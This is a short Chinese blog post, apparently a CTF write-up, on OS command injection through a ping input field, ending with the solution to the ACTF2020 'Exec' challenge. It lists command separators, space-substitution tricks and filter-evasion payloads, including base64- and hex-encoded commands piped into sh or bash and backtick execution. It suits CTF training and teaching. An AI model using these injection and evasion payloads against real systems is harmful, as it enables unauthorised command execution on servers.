ping
ctf Exec ping命令注入
看到ping命令就可以利用截断来执行新的命令。
首先测试所有的截断符号:
1 | 1、|(就是按位或),直接执行|后面的语句 |
例如127.0.0.1 | ls
绕过
代替空格的一些字符:
1
2
3
4
5<
${IFS}
$IFS$9
%09
%0a关键字绕过
1
2
3
4
5
6
7
8wh\o\ami //反斜线绕过
who"a"mi //双引号绕过
whoa'm'i //单引号绕过
whoam``i //反引号绕过
echo d2hvYW1p|base64 -d|sh //base64绕过,其中d2hvYW1p是whoami的base64编码
echo d2hvYW1p|base64 -d|bash//base64绕过,其中d2hvYW1p是whoami的base64编码
`echo d2hvYW1p|base64 -d` //将其base64解码,然后用反引号来执行命令
echo 77686F616D69 | xxd -r -p | bash //hex绕过,其中77686F616D69是whoami的hex编码内联执行:内联,就是将反引号内命令的输出作为输入执行
如:
1
2
3>ls
flag.php
index.php1
2cat `ls`
即为 cat flag.php index.php
例题
[ACTF2020 新生赛]Exec
打开题目如下:
输入127.0.0.1测试:
使用管道符|
发现没有被过滤:
继续ls上级目录:
一直ls到根目录,发现flag:
payload:127.0.0.1 |cat ../../../flag
文章标题:ping
本文作者:Kyle
发布时间:2020-09-24, 12:34:11
最后更新:2020-09-24, 15:07:27
原始链接:https://silver2835.github.io/2020/09/24/ping/版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。